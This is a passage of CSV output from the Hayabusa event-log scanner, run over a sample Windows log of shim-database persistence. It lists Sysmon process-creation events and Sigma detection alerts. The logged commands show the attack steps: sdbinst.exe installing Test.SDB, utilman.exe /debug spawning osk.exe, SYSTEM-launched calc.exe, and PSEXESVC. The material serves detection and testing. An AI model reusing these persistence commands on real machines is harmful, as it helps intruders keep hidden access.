,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:12.931 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.151 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\VBoxService.exe : Path: C:\Windows\System32\VBoxService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.181 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:13.221 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.232 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k GPSvcGroup : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.603 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.933 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:14.933 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.094 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Startup : Path: C:\Windows\System32\gpscript.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.144 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.154 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.154 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\freeSSHd\FreeSSHDService.exe"" : Path: C:\Program Files\freeSSHd\FreeSSHDService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.424 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.514 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.514 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.795 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.795 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.835 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.835 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.865 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.885 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.885 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.915 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.915 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.995 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:15.995 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.065 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.135 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.135 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.406 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.406 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.436 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.626 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:17.026 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\UI0Detect.exe : Path: C:\Windows\System32\UI0Detect.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:22.404 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe SYSTEM : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.148 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""taskhost.exe"" : Path: C:\Windows\System32\taskhost.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.329 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.419 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\slui.exe"" : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.489 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.392 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logon : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.432 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.602 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.654 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key"" : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.704 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\PSEXESVC.exe"" : Path: C:\Windows\PSEXESVC.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.774 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: msg * ""hello from run key"" : Path: C:\Windows\System32\msg.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:43:24.560 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows Media Player\wmpnetwk.exe"" : Path: C:\Program Files\Windows Media Player\wmpnetwk.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:46:04.916 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:46:20.518 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" : Path: C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.439 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.439 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.559 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.860 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.870 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.870 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.920 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:36.644 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.787 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.787 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.967 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.988 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:31.212 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.792 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.792 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.972 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.982 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.152 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe 